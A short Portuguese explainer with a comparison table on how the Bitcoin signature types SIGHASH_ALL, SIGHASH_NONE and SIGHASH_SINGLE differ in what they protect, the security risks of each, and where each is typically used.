As diferenças entre os tipos de assinatura SIGHASH_ALL, SIGHASH_NONE e SIGHASH_SINGLE têm um impacto significativo na segurança das transações Bitcoin, pois determinam quais partes da transação são mantidas dentro da assinatura digital e, portanto, protegidas contra modificação.
O uso incorreto ou a falta de implementação correta do SIGHASH_ALL nas assinaturas de transações Bitcoin pode levar a vulnerabilidades graves que afetam a segurança dos fundos e a integridade do sistema. Os principais aspectos dessas vulnerabilidades são:
| Tipo Sighash | O que está sendo assinado? | Nível de segurança | Riscos possíveis | Aplicação |
|---|
| SIGHASH_ALL | Todas as entradas e saídas da transação | Máximo – nenhuma alteração possível | Exigência de mudança (é preciso reassinar a transação) | Padrão para a maioria dos pagamentos |
| SIGHASH_NONE | Todas as entradas, nenhuma saída | Médio – as saídas não são protegidas | Substituição de saídas, perda de controle sobre os destinatários | Cenários cooperativos, multissinatura |
| SIGHASH_SINGLE | Todas as entradas, saída com índice correspondente à entrada | Baixo – apenas uma saída será protegida | Bug na ausência da saída correspondente, substituição parcial | Pagamentos parciais, cenários complexos |